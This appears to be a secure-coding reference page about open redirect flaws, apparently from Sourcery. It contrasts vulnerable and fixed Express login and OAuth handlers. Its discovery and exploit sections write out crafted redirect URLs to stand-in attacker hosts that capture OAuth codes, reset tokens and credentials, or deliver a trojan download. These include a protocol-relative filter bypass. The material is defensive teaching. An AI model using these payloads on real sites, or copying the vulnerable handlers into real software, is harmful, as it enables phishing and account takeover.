Open Redirect

Unvalidated Redirect

Open Redirect at a glance

What it is: The application redirects users to a URL that attackers can control, often via `next`, `returnUrl`, or `to` parameters.
Why it happens: Open redirect vulnerabilities occur when applications pass unvalidated next or ReturnUrl parameters directly to redirects or headers, allowing attackers to route users to malicious sites.
How to fix: Allow only trusted relative redirect paths, reject absolute or scheme-relative URLs, and use framework helpers or host checks to prevent open redirects.

Overview

Open redirects occur when applications perform a 3xx redirect to a location derived from user input without validating that destination. Attackers craft links that send users through your trusted domain and then over to a malicious site. In authentication flows, open redirects can leak OAuth codes or tokens if parameters are reflected or if intermediate pages add sensitive data to the URL.

sequenceDiagram participant Browser participant App as App Server participant MaliciousSite as Malicious Site Browser->>App: GET /login?next=https://evil.example/phish App-->>Browser: 302 Location: https://evil.example/phish Browser->>MaliciousSite: Redirected to phishing page note over Browser: Users trust redirects from your domain
A potential flow for a Open Redirect exploit

Where it occurs

It occurs in login or redirect handlers that pass user-supplied URLs directly to redirects, such as next or ReturnUrl parameters, or legacy endpoints that use unvalidated query inputs.

Impact

Users are funneled to attacker-controlled sites that mimic your brand. In SSO or OAuth flows, open redirects can be chained to steal codes or tokens. This can lead to account takeover and data exposure.

Prevention

Prevent open redirects by allowing only validated relative paths, enforcing HTTPS, normalizing inputs, using framework-safe URL validators, and pinning exact redirect URIs without wildcards for OAuth flows.

Examples

Switch tabs to view language/framework variants.

Express login accepts arbitrary next URL and redirects off-site

The handler trusts `req.query.next` and issues a 302 to any URL, enabling phishing and token leakage.

Vulnerable
JavaScript • Express — Bad
app.get('/login', (req, res) => {
  // ... do auth
  res.redirect(req.query.next || '/'); // BUG
});
  • Line 3: Unvalidated user-controlled URL used in redirect

Open redirects enable phishing and can leak tokens on OAuth callbacks if parameters are reflected.

Secure
JavaScript • Express — Good
const ALLOWED = new Set(['/','/dashboard','/settings']);
app.get('/login', (req, res) => {
  const next = typeof req.query.next === 'string' ? req.query.next : '/';
  const dest = ALLOWED.has(next) ? next : '/';
  res.redirect(dest);
});
  • Line 2: Validate against a small allow list of relative paths only

Only allow known relative paths from a hard-coded allow list. Never redirect to absolute URLs from user input.

Engineer Checklist

  • Validate next or ReturnUrl against a strict allow list of relative paths

  • Use helpers like IsLocalUrl and require HTTPS when host validation is needed

  • Normalize and decode inputs before comparison, reject // and external schemes

  • Lock down OAuth redirect URIs to exact values without wildcards

  • Log and alert on rejected redirect attempts to spot phishing campaigns

End-to-End Example

A SaaS uses `next` after login. The endpoint accepts any URL and redirects. Attackers send phishing emails with links that start at the SaaS domain, pass through login, then bounce to a fake dashboard on evil.example.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable open redirect

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  // Authenticate user...
  const user = await authenticateUser(username, password);
  
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  // Set session
  req.session.userId = user.id;
  
  // VULNERABLE: Redirect to user-supplied URL without validation
  // Attacker sends: /login?next=https://evil.com/fake-dashboard
  // Browser redirects from trusted domain to phishing site
  const nextUrl = req.query.next || '/';
  res.redirect(nextUrl);
});

// ALSO VULNERABLE: OAuth callback with open redirect
app.get('/auth/callback', async (req, res) => {
  const code = req.query.code;
  const state = req.query.state;
  
  // Exchange code for token...
  const token = await exchangeCodeForToken(code);
  req.session.token = token;
  
  // VULNERABLE: Redirects to returnUrl from session/query
  // Attacker can set returnUrl to external domain
  const returnUrl = req.query.returnUrl || req.session.returnUrl || '/';
  res.redirect(returnUrl);
});
Secure
JAVASCRIPT
// Node.js/Express - SECURE redirect with whitelist

// Whitelist of allowed internal paths
const ALLOWED_REDIRECTS = new Set([
  '/',
  '/dashboard',
  '/settings',
  '/profile',
  '/billing'
]);

function isValidRedirect(url) {
  // Only allow strings
  if (typeof url !== 'string') return false;
  
  // Must be relative path starting with /
  if (!url.startsWith('/')) return false;
  
  // Reject protocol-relative URLs (//evil.com)
  if (url.startsWith('//')) return false;
  
  // Check against whitelist
  return ALLOWED_REDIRECTS.has(url);
}

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = await authenticateUser(username, password);
  
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  req.session.userId = user.id;
  
  // SECURE: Validate redirect URL against whitelist
  const nextUrl = req.query.next || '/';
  
  if (!isValidRedirect(nextUrl)) {
    // Log suspicious redirect attempts
    console.warn(`Blocked redirect attempt to: ${nextUrl}`);
    return res.redirect('/');
  }
  
  res.redirect(nextUrl);
});

// SECURE: OAuth with exact redirect URI validation
const OAUTH_REDIRECT_URIS = new Set([
  'https://app.example.com/auth/callback',
  'https://app.example.com/oauth/complete'
]);

app.get('/auth/callback', async (req, res) => {
  const code = req.query.code;
  const returnUrl = req.query.returnUrl;
  
  // SECURE: Only allow exact, pre-registered OAuth redirect URIs
  if (returnUrl && !isValidRedirect(returnUrl)) {
    return res.status(400).json({ error: 'Invalid redirect URI' });
  }
  
  const token = await exchangeCodeForToken(code);
  req.session.token = token;
  
  // Only redirect to whitelisted internal paths
  const safeReturnUrl = isValidRedirect(returnUrl) ? returnUrl : '/dashboard';
  res.redirect(safeReturnUrl);
});

Discovery

This vulnerability is discovered by testing URL parameters (like redirect, return_url, next) with external domains and observing whether the application redirects to the attacker-controlled destination without validation.

  1. 1. Baseline redirect test

    http

    Action

    Test normal redirect with internal path

    Request

    GET https://app.example.com/login?next=/dashboard

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "/dashboard"
      },
      "note": "Normal internal redirect working as expected"
    }

    Artifacts

    redirect_parameter_found baseline_established
  2. 2. External URL redirect test

    http

    Action

    Attempt redirect to external domain

    Request

    GET https://app.example.com/login?next=https://evil.example.com/phishing

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "https://evil.example.com/phishing"
      },
      "note": "Open redirect confirmed - no validation on external URLs!"
    }

    Artifacts

    open_redirect_confirmed external_redirect_allowed no_url_validation
  3. 3. Protocol-relative URL bypass

    http

    Action

    Test scheme-relative URLs to bypass basic filters

    Request

    GET https://app.example.com/login?next=//evil.example.com/phish

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "//evil.example.com/phish"
      },
      "note": "Browser interprets as https://evil.example.com/phish"
    }

    Artifacts

    protocol_relative_bypass filter_evasion
  4. 4. OAuth code leak test

    http

    Action

    Test if OAuth codes leak through open redirect in callback flow

    Request

    GET https://app.example.com/oauth/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz&next=https://attacker.example.com/capture

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "https://attacker.example.com/capture"
      },
      "note": "Authorization code visible in Referer header to attacker domain!",
      "referer_sent": "https://app.example.com/oauth/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz"
    }

    Artifacts

    oauth_code_leaked referer_header_leak authorization_bypass

Exploit steps

An attacker exploits this by crafting URLs with malicious redirect parameters and using them in phishing campaigns, where victims trust the initial legitimate domain but are redirected to attacker sites for credential harvesting or malware distribution.

  1. 1. Phishing campaign via trusted domain

    Create convincing phishing URL

    http

    Action

    Craft phishing link that starts with legitimate domain

    Request

    GET https://app.example.com/login?next=https://app-examp1e.com/fake-login.html

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "https://app-examp1e.com/fake-login.html"
      },
      "phishing_success": {
        "victim_action": "Clicks email link starting with trusted app.example.com",
        "victim_redirected_to": "Lookalike domain app-examp1e.com (note: '1' instead of 'l')",
        "credentials_entered": {
          "email": "victim@company.com",
          "password": "V!ct!mP@ss2024"
        },
        "result": "Account compromised"
      }
    }

    Artifacts

    phishing_url_crafted credentials_harvested account_takeover
  2. 2. OAuth token theft

    Steal OAuth authorization codes via redirect chain

    http

    Action

    Manipulate OAuth flow to capture authorization code

    Request

    GET https://oauth-provider.example.com/authorize?client_id=CLIENT_ID&redirect_uri=https://app.example.com/callback?next=https://attacker.example.com/steal&response_type=code&scope=read_write

    Response

    Status: 302
    Body:
    {
      "oauth_flow": {
        "step_1": "User authorizes application",
        "step_2": "Redirect to https://app.example.com/callback?code=AUTH_CODE&next=https://attacker.example.com/steal",
        "step_3": "App redirects to https://attacker.example.com/steal",
        "step_4": "Referer header contains: https://app.example.com/callback?code=AUTH_CODE",
        "result": "OAuth code captured by attacker"
      },
      "stolen_code": "SplxlOBeZQQYbYS6WxSbIA",
      "attacker_action": "Exchange code for access token, gain full account access"
    }

    Artifacts

    oauth_code_stolen access_token_obtained account_compromise api_access_granted
  3. 3. Session token leakage via Referer

    Capture session tokens through redirect

    http

    Action

    Force redirect that leaks session data in Referer header

    Request

    GET https://app.example.com/reset-password?token=RESET_TOKEN_ABC123&next=https://attacker.example.com/log

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "https://attacker.example.com/log"
      },
      "attacker_receives": {
        "referer": "https://app.example.com/reset-password?token=RESET_TOKEN_ABC123",
        "captured_token": "RESET_TOKEN_ABC123",
        "attacker_action": "Use token to reset victim's password"
      }
    }

    Artifacts

    reset_token_leaked referer_header_exposure password_reset_hijack account_takeover
  4. 4. Malware distribution via trusted redirect

    Distribute malware through legitimate domain

    http

    Action

    Use open redirect to bypass security filters

    Request

    GET https://app.example.com/goto?url=https://malicious-downloads.example.com/trojan.exe

    Response

    Status: 302
    Body:
    {
      "headers": {
        "Location": "https://malicious-downloads.example.com/trojan.exe"
      },
      "attack_result": {
        "email_content": "Download your invoice: https://app.example.com/goto?url=https://malicious-downloads.example.com/invoice.exe",
        "victim_action": "Clicks trusted app.example.com link",
        "security_bypass": "Email/AV filters allow trusted domain",
        "result": "Malware executed, system compromised"
      }
    }

    Artifacts

    malware_distributed security_filter_bypass system_infection trust_exploitation

Specific Impact

Users enter credentials or MFA codes on a convincing phishing page. If combined with OAuth misconfigurations, codes or tokens can be leaked, enabling account takeover.

Incident response involves takedown of phishing domains, user notifications, forced password resets, and review of suspicious sessions.

Fix

Only allow internal relative paths and normalize inputs before comparison. For frameworks with helpers, use them. For OAuth, configure exact redirect URIs and reject any mismatch.

Detect This Vulnerability in Your Code

Sourcery automatically identifies open redirect vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free